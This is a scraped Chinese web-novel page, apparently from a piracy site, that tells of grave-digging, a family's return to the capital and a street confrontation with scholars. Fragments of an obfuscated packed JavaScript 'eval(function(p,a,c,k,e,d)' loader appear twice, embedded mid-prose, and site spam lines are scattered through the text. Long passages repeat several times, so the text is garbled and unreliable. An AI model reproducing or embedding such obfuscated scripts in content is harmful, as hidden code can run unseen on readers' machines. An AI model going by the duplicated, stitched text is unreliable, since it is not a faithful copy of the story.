偃将目光从杨春身上收回来,眸子里还有未消散的恶意与厌恶,他和剑客中间放着两个麻袋,占地不小,透出斑斑血迹。 “回,等我办完了事,即刻便赴盛京营救殿下。 他骨感纤细的手指透过车窗上的纱帘,指了指狼狈的杨春,“我看那个人便恶心得难受,杀了他。 剑客视线随着他的手指看过去,低低地“嗯了一声。 他已经习惯了,这个人的喜怒无常, 马车没有驶入村里,而是在村口田地与高山挨着的那处坟地前停下了。 三泉村大部分人家都姓宋,宋家的人死后都葬在另一座山头,这边的坟地葬得都是姓田的,两山之间的荒地则埋着村里的异姓人。 偃下了车,从车厢里拽出一把铁铲,一步一步地顺着小径往山上走去,剑客抱着剑紧随其后。 “这个村子是你的家乡?剑客问。 “家乡? 偃华贵低调的衣襟被山上的枝叶勾坏了几道,斑驳的树影打在他身上,本来夏日炎炎入眼都是鲜活的绿,可他站在草木茂盛的山间,带着些许低粗喘面向前方高高矮矮的坟堆时,生生浸出森森凉意。 周遭静得发冷,连蝉鸣声都透着即将死在夏日的绝望,说不出的阴森,化不开的冷寒。 “不,这里是埋葬我的坟冢。 这些坟包前并没有立墓碑,偃却精准地找到了其中紧挨着的四座坟包。车夫在山下开车,他身边只有一名剑客作陪。 土壤和铲子亲密接触的声音很清脆,偃的体力一般,还没喘匀的呼吸很快又开始加重,剑客走过来,无声地将铁铲拿过来,接下来的进展便快了很多。 偃倚在树下看剑客挖开第一个坟包,眼皮渐渐阖下,马不停蹄地从临安到北方,又回到最初的地方,他身心疲惫。 半梦半醒间耳边仿佛响起丝竹管乐之声,他手脚不自觉地舞动着,身上黑红相间的衣裳飘飘然,周围是美轮美奂玉楼金殿。 男人从身后亲昵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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月光洒在他黑色的衣袍上,透不出哪怕一点的光亮,他周身似裹着一层隐秘的薄雾,气场清冷又神秘,让人不自觉地想窥探他身上发生的故事。 剑客的目光落在他毫无棱角的清秀脸庞上,五官平凡,却带着一股致命的吸引力,引人飞蛾扑火,无法自拔地沉沦。 “火折子给我。”又轻又哑的声音响起,如情人在耳边轻声呢喃。 片刻后,曲荇墓前火光冲天,炙热的火焰燃尽,只于坟前四堆白灰和两堆焦炭。山林间风多,很快就将那几堆黑黑白白的东西吹得乱七八糟。 “哎哟,谁这么缺 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 德竟然掘坟?” “干这活计的多了,有什么可大惊小怪的。” 一老一少的声音在半山腰响起,都入夜了,他们竟然在此刻上山,怎么看怎么诡异。 偃抬起头往山上望去,并没有瞧见火把或者油灯的光亮,也可能是草木太深,给遮挡上了。 “去将人杀了。” “嗯。”剑客淡淡应下,抬步往山上飞驰。 山上并没有如偃所想传来惨叫声,反而是几根被剑气削断的树枝被甩了下来,还有孩童大呼小叫的惊叹。 “葛爷爷你行不行啊?” “什么行不行,就这么个毛头小子?” “爷爷我来帮你!” 偃后退一步,脚步匆匆地想往马车处赶,下一瞬,一个小小的身影从山上小径跑下来,脚程飞快,很快就跳到了他的面前。 “阿砚,这里真的有个人。” 肤色雪白,长相精致的小男孩紧跟着从山上下来,“我就说吧,阿爹说这叫团伙作案。” 接着便是一个老者和剑客打得有来有回,他们一边打,一边下山。 老者年纪到底大了,很快体力不支,逐渐落入下风。 偃盯着面前漂亮得不像话的男童,“你叫阿砚?” 他边说话边往前走,阿砚摆出个武架势来,没变声的童音有些尖锐,“站住别动,要不我不客气了!” 话是这么说,他左手却悄悄去拽自己腰侧的药包。 偃停下脚步,“好,我不动,你走吧。” 阿砚自觉面前的人神秘莫测,心中警惕万分,拽着通儿的手往葛老头那里跑去。 偃把手中的**攥紧又松开,最后对剑客低喊一声,“走吧,回京。” 他若是死,也该死在那个男人身边,无关情爱,只是病态般执念。 褪去廉王给他的一切,他也不过是个普通哥儿,廉王给了他一切,廉王若是死,他也没有活下去的意义了。 这一趟,便当作告别吧。 第67章 不舍 “……那两个人就那样,本来就是他们先动手的,说了两句话突然又走了。” “要有葛叔在,那两人肯定跑不掉。” 阿砚小嘴巴巴说了半天,还不忘暗戳戳地告状葛老头打不过人家。 葛老头一瘸一拐地扶着腰走进来,敲了阿砚后脑一下,“你这小娃,爷爷就不厉害了?爷爷是放他们一马,不是打不过!” 阿砚揉着脑袋转身,背对着葛老头对通儿做鬼脸。 通儿回他一个鬼脸,然后也被正对着的葛老头敲了两下。 孟晚坐在屋里扇着蒲扇,“武艺那么好,还跑到山上掘坟?什么仇什么怨啊?” 主要三泉村一个小村子,能得罪什么高人? 雀哥儿住到了善堂,孟晚叫他和善堂的孩子们学学写字刺绣,他待在三泉村不好过活。孟晚打算走的时候将他带去义学,也能在里面做些琐碎的事,照顾照顾孩子们。 这会儿常金花给善堂的孩子们买了十几斤猪板油送了过去,刚进家门就走到孟晚身边将他从阿砚、通儿这里拉走。 “隔壁田家的坟叫人给掘了!”常金花惊叹出声。 孟晚心道,好嘛这下子知道是谁家得罪人了。 隔壁院子传来吵闹的声音,田家人也不少,小梅和田兴这一脉长辈都死得差不多了,叔婶伯娘的就过来安慰他们小两口,在院里说得好好的,一出门就拍拍身上怕沾了晦气。 田家太邪乎了,各个死的就够诡异的了,死后也不得消停,倒斗的都倒新坟好脱了**的衣裳来卖,没听过偷烂骨头架子的,这下子大家更不敢亲近了,连家里的小孩都叮嘱不许找杏哥儿玩。 此前孩子们都被家里人叮嘱过了,但杏哥儿凑上去,有时候也有人会和他说两句话,这回更是避如蛇蝎,连话都不跟他说了,也就只有阿砚和通儿有时候会找他玩。 田家坟被掘的事找不着人,过了两天也就不了了之了,村里人又开始传杨家村杨春叫人给杀了的传言,他爹娘不甘心去谷阳县县城报了官,后来衙役还来问过雀哥儿。 雀哥儿一直在善堂养伤,不光善堂的孩子们能做证,村里的村民也能做证,后来人没抓到,再传又说是抓到了,是某地的流浪汉。 孟晚:“……” 不愧是都察院下来的,就是能化腐朽为神奇。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “夫郎有人来了。”蚩羽在墙头上晒得黝黑不愧是岭南大山出来的孟晚见不得一点太阳还浑身冒汗蚩羽根本不惧酷暑。 “谁来了?”孟晚往门口走。 村里面往外走出一老一青年两道身影青年背后还背了个箩筐应当是送的东西。 两人确实直奔他家门口见了孟晚出来青年怔愣了一下随后反应过来“见过叔嬷。” 孟晚见他虽穿着一身常服却自有一派读书人的文雅风骨便猜到了来者身份“叫小叔吧。”又对他爹说:“五哥带孩子进来坐。” 老实巴交的庄稼汉子点了点头局促地跟着孟晚往里走迎面碰到常金花又叫人。“婶子。” 两家只是族亲往常是没有走动的常金花又离家多年琢磨了一下才认得人“老五啊?跟以前不一样了快进屋坐吧这是宋治?都长这么大了。” 宋治爹人还没进屋就忙着道歉“他大姑人那张嘴就是那样婶子你……别往心里去我和宋治从府城买了点东西回来……” 他是个笨嘴拙舌的人说不大明白宋治对常金花和孟晚弯下身子揖了一礼“大娘、小叔我和我爹夜里赶回来连家都没回直接去了我大姑家我作为晚辈不好直言我爹已经狠狠说了她一通这些东西虽然不值什么钱却也聊表我家一点心意。” 背篓里面有两匹织锦棉布和一匣子的糕点棉布外面的油纸包散开了一点露出里面粉橘色的布料是未婚小哥儿应当喜欢的。 常金花让下人上了茶果宽慰二人面对宋治大姑的时候再生气这气也不该撒到宋治夫子这里她心里分得清这点。 孟晚把人送出去被太阳晒得蔫蔫搭搭的半阖着眼他语气散漫地说:“宋治 这句话中带着不容置疑的威慑力宋治毫不怀疑其中利害心中一慌又是一番承诺离开宋家后又到自己亲姑家里训斥一番。 八月十五中秋节过后天气就开始转凉了孟晚还记得宋亭舟走之前可怜巴巴让他早点回京的话于是在常金花面前开始絮絮叨叨要在天冷之前上路。 常金花刚开始烦他烦得不行被念叨了几天又开始愁眉不展最后干脆找孟晚摊牌。 “娘今年想在村里过年行不行?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 孟晚先是一愣,随后想了想,常金花年纪大了,久不回家乡,想留下过年也是人之常情,“也行吧,那我给夫君写信,咱们明年再回京。” 只好委屈委屈宋亭舟了,谁叫他如今责任重大,不比他执掌后方。 常金花知道他误解了自己的意思,补充了一句,“娘自己留在这儿过年,你带阿砚回京去,不要耽搁了他的课业。” “那怎么行?”孟晚不放心常金花自己在老家。 常金花笑了,“怎么不行?你娘我又不是七老八十走不动路,你不是想招人种棉花吗?明年春天娘在家帮你看着。” 孟晚在屋里转了两圈,问常金花,“娘你真不和我一起回去?” “晚哥儿,你就心疼心疼娘吧,天天圈在院里真不是人过的日子,盛京待的这半年还不如在岭南舒坦。”常金花本来就是普通农户,跟着孟晚和宋亭舟也算是长见识了,好不容易说动她自己开铺子挣钱,再把人关在大宅子里,也不怪她憋坏了。 常金花说让孟晚心疼她,也是知道孟晚最在乎她的想法,从不做让她不顺心的事,比起宋亭舟,孟晚更像是自己亲儿子。 果然,孟晚只琢磨了一夜,第二天就同意了。只不过要把苇莺、云雀、松山、松樵都留给常金花。 常金花只要俩丫鬟,要叫松山松樵跟着孟晚走,路上赶个车跑个腿,省得蚩羽离了孟晚身边。 知道孟晚不放心,槿姑也要主动留下,但黄叶是肯定要随孟晚回京的,这样一来母子俩又要分开。 “今时不同往日了,知道他在孟夫郎手下做事,我还有什么不放心的?”槿姑都是洒脱,并无太多不舍的情绪,她说的是心里话,黄叶的**契都被孟晚给消了,还正经给他和槿姑重新登了户籍,比起仆人,孟晚是把黄叶当属下、当弟弟的。摊上这样的主家,槿姑还有什么不放心的? 宋家帮他们母子太多了,无以为报,仔细看顾老夫人也是应该的。 黄叶亦是放心,他娘那么多年矿山都熬过来了,在乡下散散心也不错。 事情敲定下来,孟晚就急着回京了,不然宋亭舟一封接一封的信来催。 孟晚走之前把四个县的义学都逛了一遍,好在没有再出现谷阳县那种情况了,别的义学都很正常,被收留的孩子感激都来不及,除非是乞丐没当够才会使坏。 雀哥儿被孟晚留 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 在了谷青县的义学,这处的义学比较特殊,所有被捡回来的孩子都姓严,义学门口竖立的也不是刻着孟晚名字的碑,而是谷青县百姓当年洪灾过后给严昶笙塑的石像。 所有谷青县的人,都应该铭记严昶笙当年的功绩,没有他,也没有谷青县后来的人。 孟晚在四座县城都置办了田地,除了三泉村的,和谷阳县张家赔给他的二十几亩,其余都记在义学名下,明年开春便可播种棉花。 “你确定不和我进京,跟你大姑留在村子里?”孟晚踏上马车前问雨哥儿。 雨哥儿态度比之前坚决,“我不去了表嫂,和大姑在村子里挺好的。” “哦,那就随你吧。”孟晚还算满意,留下来陪常金花的人越多越好。 他人忙事多,又叮嘱了几句别的,最后专门将善堂里的宋润拎了出来,“还有宋瑞,在族学好好进学,你族叔说只要你能考中秀才,就接你去盛京求学。” 宋润难以置信,“去盛京?” 孟晚人都上车了,自车厢内回应了句,“对,好好学吧 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后来祝泽宁成亲,祝三爷在北地贩糖,便又重新买了一座宅子,也有五进大,他这些年发达了自己又私扩了不少,比起当年皇商盐商是差了点,兜里的钱袋子却满满当当都是自己的。 孟晚上门的 你的朋友正在书荒,快去帮帮他吧 时候难得他也在家,见了孟晚苦笑连连,脸上的褶皱多了几道,头发也斑白不少。 “都是命啊,不信不行,可能祝家就没有那份当官的命吧。”祝三爷长吁短叹,曾经要入股孟晚驿站的意气风发仿佛都消退了,往日高大的身躯也开始佝偻。 孟晚不知该如何去劝,“三叔,不怪泽宁,贼人有心算计,就算百般提防也防不住的。” 生活不是话本子,日子过得好好的,谁能知道哪一天,会因为某些原因被人给盯上了呢? 站在门后的兰娘鼻头一酸,“难为你不怨他,反而替他说话。” 孟晚让过身,让兰娘坐在自己旁边,“我是宽慰三叔才这么说,泽宁哪儿去了?他过来我定要骂他两句解解恨。” 兰娘知道他是故意这么说的,要是孟晚和宋亭舟真怨恨祝泽宁,这会儿就不会主动登门了。 她心绪松懈不少,破涕为笑,“他自己知道没脸,躲着不敢过来见你。” “以前看着也不像是个傻的,不知如今怎么越来越憨。”孟晚佯装骂了一句,主要是看祝三叔状态不好,安慰他几句。 “三叔,你们一家能两次从大劫中侥幸脱身,已经是万中之幸了,莫要多思。想想您曾经在县城做盐商的时候,不也很好吗?” 这些话祝三叔不是没对自己说过,只是情况到底是不一样的,他争强好胜,一直希望儿子能改换门庭,眼见着高台搭起又落下,又怎么能甘心呢? 此刻再说什么都晚了,祝三爷又是一叹:“晚哥儿,三叔是老了,往后也不想再折腾了,南边那头的驿站就不去了。你四叔性子鲁莽,我不放心他单独出去,也要在我近前看着。” 孟晚知道他这一番心态变化,也能体谅一二,“我明白了三叔,若有祝家有什么要我帮忙的,只管去信入京。” 祝三爷和兰娘自是感激不尽,知道孟晚明早就要启程离开,两人又忙活着要给孟晚收拾些昌平府特产让他带回去。 第二天一早是祝泽宁露面去送的孟晚,又是两车的东西,连人带车的给孟晚拾掇好了。车夫是祝家的仆人,等给孟晚送到盛京,两人便自行驾着车回来。 “二嫂。”祝泽宁低着头对孟晚说话。 他本来微胖的肚子都收了回去,脸不能用瘦了几圈来形容,下巴都透着尖。神情憔悴,眼袋也大,本来三人中他年纪最小,如今苍老了十岁不止,可见成瘾的药物害人不浅。 “泽宁,昨天我说的话兰娘应该都转告给你了,我和你二哥是不怪你,但昨日那话也确实是我为了宽慰三叔和兰娘故意说的。” 孟晚脸色冷淡,“你已经辜负了家人朋友,往后若是再一蹶不振,才是对不起我们大家。三叔已经老了,没人再护着你,你好自为之吧。” 第68章 围堵 孟晚八月底从三泉村出发,路上行了快两个月,这会儿十月底入京,盛京的气候已经是秋意渐消、冬寒初显。特别是被困在马车上,掀开车帘就能看路旁枯黄的草叶被寒风吹得七零八落,便是看着,也觉得一种凄凉的冷意涌上心头。 “阿爹,回去后能不能先歇息几天再去夫子处上课啊?”阿砚裹在棉袄里,露出一张小脸面露哀求。 孟晚冷酷地拒绝,“不行,本来就耽搁了许久,落下诸多课业,等年底大冷又该放假了,怎可再歇息?” “哼哼。”阿砚不敢违背孟晚的话,只能小声哼哼,发泄心中的不满。 孟晚掐住他白嫩的小脸蛋,“哼什么?” 阿砚今年才七岁,但因为宋亭舟和孟晚身形都高,特别是宋亭舟个子高,在文官中简直一枝独秀,于是阿砚从六岁开始身高就开始抽条,他吃得胖乎乎的,这会儿和小牛犊子似的把他的牛头扎进孟晚怀里。 巧的是马车也猛地停住,两相冲击之下孟晚腹部一痛,有种想给儿子踢下马车的冲动,“起……开。” “夫郎,你没事吧?”驾车的蚩羽把门帘掀开问。 冷风灌了进来,外面却不是熟悉的家门口,孟晚回了句,“没事,还没到家怎么停了?” 孟晚回京前没有提前给宋亭舟写信,入了城便直奔家中而去,他家算是城里顶好的地段了,其他官居二品、三品的老大人,可都住不到盛京二重城。 这会儿已经快到霜华巷了,眼见着就要到家,怎么还停住了? 蚩羽声音也很郁闷,“前面好像有人堵路,这边不少马车都停在这头过不去,要不我过去看看?” 孟晚眉头轻皱,“你被动,让松山他们向前打听打听。” 紧接着外面就响起蚩羽喊人的声音。 阿砚好奇地从车窗向外望去,“阿爹,真的有很多马车在这儿欸?” “嗯,老实坐着别动。”孟晚在马车里稳稳坐着,要是时间长了还没人解决,他就要下车走回家去了,反正也没多远。 松山很快凑过来禀报,“夫郎,前面说是有人在**,京郊大营指挥使被堵在前面的大街上了。” “谁堵的?”孟晚总觉得京郊大营指挥使这个称谓十分耳熟。 松山也只是听到一星半点,“好像是……一群书生?” “书生?”孟晚更发觉不对了,陛下刚登基,朝堂官位悬空,又是赶上明年春闱在即,禹国境内大批举人都开始前往盛京,准备应试,他们途中便遇见了好几批。 这会儿他们不在客栈、屋舍里读书,跑到大街上堵人? 眼见着一时半会儿前面的马车都动不了,孟晚当机立断道:“你们几个在这儿守着车,阿砚通儿下车,咱们走回家去。” 孟晚跳下马车,霜白色嵌着毛边的褙子掀起一角,又很快重重垂下,他跺了跺发麻的腿脚,顺手将个子稍矮一些的通儿抱下来,阿砚则自己蹦了下来。 两孩子被孟晚一左一右地牵着,蚩羽在前头开路。 顺着街道边上往前,越往前走,路上横着的马车就越多,不少人都同孟晚一样下车步行,戴着帷帽的小姐公子们不顾下人阻拦,好奇地张望。 当街正中的位置横了几辆马车挡住去路,约莫三四十个身穿青衿的读书人聚在一起,正一脸激愤地在高声指责。 “秦指挥使,你身为皇亲国戚,又是京郊大营的指挥使,竟公然在街上施暴,全然不顾朝廷法度!” “我等虽然出身寒微,却也是经州府科考取仕的举人!身蒙朝廷恩荫,代表的是圣贤教化、天下斯文,怎可无端受此羞辱?” “寒窗十载,所求不过为社稷分忧、为百姓**,未曾想尚未踏入庙堂,竟先遭官威欺凌,尔等行径,是要寒了天下读书人的报国之心啊!” 那群书生群情激昂,周遭响起一片附和之声。 和他们对峙的是几个骑着高头大马的武将,为首的不是别人,正是刚被任命为京郊大营指挥使的秦艽。 这群书生能言善辩,他这边的几个武将一个比一个笨嘴拙舌。 秦艽本来正一脸不耐地听这群读书人叭叭,没承想眼角余光见后排的许多书生眼睛都斜目偷瞄街边的炸糕摊子。 秦艽都被气乐了,怎么的,他们还骂饿了? 扭头一看,原来周边大家都在看热闹,只有炸糕摊子前站了两个大人带着两个孩童在买炸糕。 其中一位夫郎穿着霜白色的过膝褙子,墨绿色的内衬自膝下和领口、袖口显现,衬得他肤色胜雪。一头墨色长发仅用一根祥云白玉簪盘在脑后,不施粉黛的绝美脸庞,胜过一众装扮或清丽或华贵的哥儿女娘,难怪看得那群土包子目不转睛。 秦艽眼底涌现出一抹笑意,他在马背上用慵懒随意的语气喊了句,“孟夫郎,许久不见,宋大人不是说你还在老家吗?” 既然被看见了孟晚就带着孩子往秦艽那头走了两步,他举着个新炸出来的炸糕,攥着小木棍吹的时候腮帮子一鼓一鼓的,觉得一时半会没办法下嘴,便先和秦艽说话,“这不是刚回来就看了一场世子的好戏吗?” 秦艽苦笑,“你可别取笑我了。” 两人语气熟稔,任谁都看出是相识的人,在场没人不知道秦艽是当今国舅,皇后娘娘的亲弟弟,如此一来孟晚的身份更是成谜。 人群中有个书生视线从秦艽和孟晚身上溜了一圈,不知想到了什么,突然一脸愤慨,他神不知鬼不觉地往前蹿了两步,狠狠往前一推,最前面一个嘴皮子格外利索的书生便被推到了秦艽马蹄底下。 好在蚩羽就在旁边,他眼疾手快,一把将那书生给拉了起来,可即便如此,也让现场的气氛瞬间紧张到了极点。 秦艽也知道这个当口不能让这群书生出事,所以才一直和他们僵持,真要让这些只会呱呱乱叫的**出了什么事,他免不了要摊上麻烦。 “你真的打了人?” 豆沙馅的炸糕焦香甜糯,但吃多也腻人,孟晚吃完一个,抽空问了秦艽一嘴。 秦艽干脆从马背上下来,同孟晚说话:“不知道哪儿来的大傻子,我在勾栏看戏的时候跳出来骂我,纯纯的找抽,我就踢了他那么一脚,今日便被堵在这了。” 孟晚琢磨了一下,暂且没什么头绪,他见秦艽一副要跟人死磕到底的样子,手指指向旁边小巷里一群甲卫,低声说了句,“五城兵马司的人在那儿看热闹呢。” 而且像是已经来了一会儿了,那群甲卫眼观六路耳听八方,盯着事态发展就是不出头现身。 秦艽阴恻恻的望过去,巷子里的甲卫们心中一突,为首的北城兵马指挥本来歪歪扭扭的倚在墙上,太阳底下只露出一双黑色皂靴,见下属们有异,忙探头望过来,正对上秦艽那一双厉眼。 他猛地直起身子,二话不说带人往这边赶。 五城兵马司的人出面驱散那群书生就比秦艽开口好办得多,又是好言相劝,又是出言逼迫。直说再纠缠下去,真闹到了顺天府衙门,府尹大人可不是吃素的,若是被他抓了重重责罚,明年的春闱他们也甭想参加了,如此软硬兼施之下, 那群书生这才作罢。 孟晚俯下身子给阿砚和通儿擦油乎乎的小脸,“还没来得及恭贺世子高升,改日有空再聚。” “好说歹说。”目送孟晚一行慢慢离开,秦艽才重新上马。 街上被堵着的马车太多了,孟晚他们到家之后,松山等人还没驾车回来。 看门的小厮惊呼,“夫郎回来啦!” 整个前院后院便都动了起来。 “夫郎,你和两位少爷要不要先洗漱一番?” “咦?怎么没有跟车?夫郎,老夫人是在后面吗?” “夫郎,南边来了厚厚的一沓子信,大人都放在书房里了。” “夫郎,路上饿了吧,要吃些快的垫垫,还是摆一桌席面?” 俩孩子到家就开始撒欢,许久不见的桂方桂圆跟着两个小公子跑,主演和朱砂忙着收拾阿砚住的西院,被褥都要翻出来晒晾一番。 孟晚直奔正院,坐在堂屋的椅子上歇脚,一样一样地吩咐下人们。 “老夫人在乡下,没跟着回来,咱家的马车都停在槐安街了,派几个人过去接回来。” “温水提进来我马上就洗漱,吃食做些简单的汤水就成……” 房间里被端上来一盆炭火,孟晚洗漱后坐在炭盆边上,一边等着烤干头发,一边读着南边寄来的书信。 最上头就是楚辞寄回来的,上头没有封蜡,宋亭舟应当是看过了。 楚辞提亲之行自然顺利,苗家人也是看着他长大的,没有不放心将阿寻交给他的。只是苗老爷子年岁太大,怕是等不到明年进京参加两人昏礼。 楚辞和阿寻两人为了安抚老人,青杏也怕阿寻将来守孝耽误婚期,便提议让他们简单在西梧府办上一场,左右她们苗家不会计较排场。 孟晚将信放在一旁,琢磨着宋亭舟应当已经回过信了。 接下来就是聂知遥的,乐正崎过去接他后,两口子决定在西梧府待到九月中旬,等天气凉爽一些再上路回京,算算日子,应当是年前到家。 接着就是糖坊和驿站的信,唐妗霜私下给他寄来的信件,刚学会写字的那拓的信,还有许多松韵学院孩子的信。 马车进了宅子,人多热闹了一点,黄叶照旧清点东西,把枝繁打发过来伺候孟晚。 枝繁见孟晚看信 看得仔细,为他在炕桌上放着的茶杯里换了盏热茶,又引着厨房过来送饭的丫鬟进来,轻声问道:“夫郎,厨房的饭菜送过来了,是摆在炕上吃,还是在堂屋里吃?” 孟晚抬起头来,“炕上都是书信,弄脏了不好,摆堂屋里去吧。” 他下来往堂屋走,“阿砚他们在自己院里吃?” 厨房的人端着厚重的木制托盘,候着等枝繁一样样将饭菜摆到八仙桌上,回道:“小公子和葛小公子都说不过来了,就在西院里摆了饭,和夫郎这里是做的一样的。” 桌上摆了三盘小菜和半锅红枣粳米粥,孟晚前世多数是吃食堂饭,来到宋家之后口味渐渐向常金花和宋亭舟靠拢,吃饭菜的时候就是吃饭菜,不爱用甜点等。 喝汤这个习惯还是一家子去岭南才有的,眼下桌面上有粥,厨娘就没做汤菜,孟晚爱吃的酸笋切了一盘,煎了一盘小黄鱼,炒了个肉丝炒土豆丝,都是依孟晚所说,没有大荤之物。 孟晚在街上吃了个炸糕,虽然当时还算顶饿,但在路上吃顿正经饭不容易,他有些馋热饭了。 一连喝了三碗粥,将小菜都吃了精光,见天色尚早,便漱了口窝回炕上接着看信,炕里烧了炭热乎乎的,孟晚看着看着眼皮便开始不自觉的上下打架。 这一觉睡得又甜又香,孟晚自然醒来,炕桌已经被人挪走了,他身上盖着厚厚的棉被,捂得他脸颊泛红。 “阿爹睡醒啦!”阿砚清脆的童声从一旁传来。 沉稳的脚步声越来越近,熟悉的气息包围着孟晚,他脖子被人扶了一下,整个人自然而然地抱住面前人的脖颈。 “睡够了?”宋亭舟维持微微伏在他身上的姿势让他抱着。 何止睡够了,从晌午睡到当下天黑,简直睡多了。孟晚蔫蔫地不愿意睁开眼睛,就半挂在宋亭舟身下。 阿砚本来在软榻上玩娟人,偶尔瞥见两眼便觉得,他阿爹在他爹面前不一样,比娇娇软软的琼娘还爱撒娇似的。 没眼看。 阿砚半捂着眼睛抱着他新得来的娟人跑了出去。 他一走宋亭舟便直接抱着孟晚翻了个身,自己斜倚在炕上,让孟晚趴在他怀里。 “回来怎么没提前给我写信说一声?” 孟晚手往上摸着宋亭舟的脸,“和你说了也是惹你担心,有蚩羽在路上又无碍,没事的。” 宋亭舟将他手拿下一只,放到唇边轻咬了一下,“下次不许。” 孟晚在他身上拱了两下,仰起头亲在宋亭舟下巴上,“知道啦。” “娘没跟我回来。” “嗯?” “她说想在乡下清闲清闲,回盛京不自在。” “等小辞回来家里要办婚宴。” “那时候她肯定是要来的。” 俩人分开说长不长说短不短,彼此间依然相互想念,这会儿就这样倚在一起说说话,在昏暗烛光的映照下,气氛分外温情。 看得仔细,为他在炕桌上放着的茶杯里换了盏热茶,又引着厨房过来送饭的丫鬟进来,轻声问道:“夫郎,厨房的饭菜送过来了,是摆在炕上吃,还是在堂屋里吃?” 孟晚抬起头来,“炕上都是书信,弄脏了不好,摆堂屋里去吧。” 他下来往堂屋走,“阿砚他们在自己院里吃?” 厨房的人端着厚重的木制托盘,候着等枝繁一样样将饭菜摆到八仙桌上,回道:“小公子和葛小公子都说不过来了,就在西院里摆了饭,和夫郎这里是做的一样的。” 桌上摆了三盘小菜和半锅红枣粳米粥,孟晚前世多数是吃食堂饭,来到宋家之后口味渐渐向常金花和宋亭舟靠拢,吃饭菜的时候就是吃饭菜,不爱用甜点等。 喝汤这个习惯还是一家子去岭南才有的,眼下桌面上有粥,厨娘就没做汤菜,孟晚爱吃的酸笋切了一盘,煎了一盘小黄鱼,炒了个肉丝炒土豆丝,都是依孟晚所说,没有大荤之物。 孟晚在街上吃了个炸糕,虽然当时还算顶饿,但在路上吃顿正经饭不容易,他有些馋热饭了。 一连喝了三碗粥,将小菜都吃了精光,见天色尚早,便漱了口窝回炕上接着看信,炕里烧了炭热乎乎的,孟晚看着看着眼皮便开始不自觉的上下打架。 这一觉睡得又甜又香,孟晚自然醒来,炕桌已经被人挪走了,他身上盖着厚厚的棉被,捂得他脸颊泛红。 “阿爹睡醒啦!”阿砚清脆的童声从一旁传来。 沉稳的脚步声越来越近,熟悉的气息包围着孟晚,他脖子被人扶了一下,整个人自然而然地抱住面前人的脖颈。 “睡够了?”宋亭舟维持微微伏在他身上的姿势让他抱着。 何止睡够了,从晌午睡到当下天黑,简直睡多了。孟晚蔫蔫地不愿意睁开眼睛,就半挂在宋亭舟身下。 阿砚本来在软榻上玩娟人,偶尔瞥见两眼便觉得,他阿爹在他爹面前不一样,比娇娇软软的琼娘还爱撒娇似的。 没眼看。 阿砚半捂着眼睛抱着他新得来的娟人跑了出去。 他一走宋亭舟便直接抱着孟晚翻了个身,自己斜倚在炕上,让孟晚趴在他怀里。 “回来怎么没提前给我写信说一声?” 孟晚手往上摸着宋亭舟的脸,“和你说了也是惹你担心,有蚩羽在路上又无碍,没事的。” 宋亭舟将他手拿下一只,放到唇边轻咬了一下,“下次不许。” 孟晚在他身上拱了两下,仰起头亲在宋亭舟下巴上,“知道啦。” “娘没跟我回来。” “嗯?” “她说想在乡下清闲清闲,回盛京不自在。” “等小辞回来家里要办婚宴。” “那时候她肯定是要来的。” 俩人分开说长不长说短不短,彼此间依然相互想念,这会儿就这样倚在一起说说话,在昏暗烛光的映照下,气氛分外温情。 看得仔细,为他在炕桌上放着的茶杯里换了盏热茶,又引着厨房过来送饭的丫鬟进来,轻声问道:“夫郎,厨房的饭菜送过来了,是摆在炕上吃,还是在堂屋里吃?” 孟晚抬起头来,“炕上都是书信,弄脏了不好,摆堂屋里去吧。” 他下来往堂屋走,“阿砚他们在自己院里吃?” 厨房的人端着厚重的木制托盘,候着等枝繁一样样将饭菜摆到八仙桌上,回道:“小公子和葛小公子都说不过来了,就在西院里摆了饭,和夫郎这里是做的一样的。” 桌上摆了三盘小菜和半锅红枣粳米粥,孟晚前世多数是吃食堂饭,来到宋家之后口味渐渐向常金花和宋亭舟靠拢,吃饭菜的时候就是吃饭菜,不爱用甜点等。 喝汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟晚在他身上拱了两下,仰起头亲在宋亭舟下巴上,“知道啦。” “娘没跟我回来。” “嗯?” “她说想在乡下清闲清闲,回盛京不自在。” “等小辞回来家里要办婚宴。” “那时候她肯定是要来的。” 俩人分开说长不长说短不短,彼此间依然相互想念,这会儿就这样倚在一起说说话,在昏暗烛光的映照下,气氛分外温情。 看得仔细,为他在炕桌上放着的茶杯里换了盏热茶,又引着厨房过来送饭的丫鬟进来,轻声问道:“夫郎,厨房的饭菜送过来了,是摆在炕上吃,还是在堂屋里吃?” 孟晚抬起头来,“炕上都是书信,弄脏了不好,摆堂屋里去吧。” 他下来往堂屋走,“阿砚他们在自己院里吃?” 厨房的人端着厚重的木制托盘,候着等枝繁一样样将饭菜摆到八仙桌上,回道:“小公子和葛小公子都说不过来了,就在西院里摆了饭,和夫郎这里是做的一样的。” 桌上摆了三盘小菜和半锅红枣粳米粥,孟晚前世多数是吃食堂饭,来到宋家之后口味渐渐向常金花和宋亭舟靠拢,吃饭菜的时候就是吃饭菜,不爱用甜点等。 喝汤这个习惯还是一家子去岭南才有的,眼下桌面上有粥,厨娘就没做汤菜,孟晚爱吃的酸笋切了一盘,煎了一盘小黄鱼,炒了个肉丝炒土豆丝,都是依孟晚所说,没有大荤之物。 孟晚在街上吃了个炸糕,虽然当时还算顶饿,但在路上吃顿正经饭不容易,他有些馋热饭了。 一连喝了三碗粥,将小菜都吃了精光,见天色尚早,便漱了口窝回炕上接着看信,炕里烧了炭热乎乎的,孟晚看着看着眼皮便开始不自觉的上下打架。 这一觉睡得又甜又香,孟晚自然醒来,炕桌已经被人挪走了,他身上盖着厚厚的棉被,捂得他脸颊泛红。 “阿爹睡醒啦!”阿砚清脆的童声从一旁传来。 沉稳的脚步声越来越近,熟悉的气息包围着孟晚,他脖子被人扶了一下,整个人自然而然地抱住面前人的脖颈。 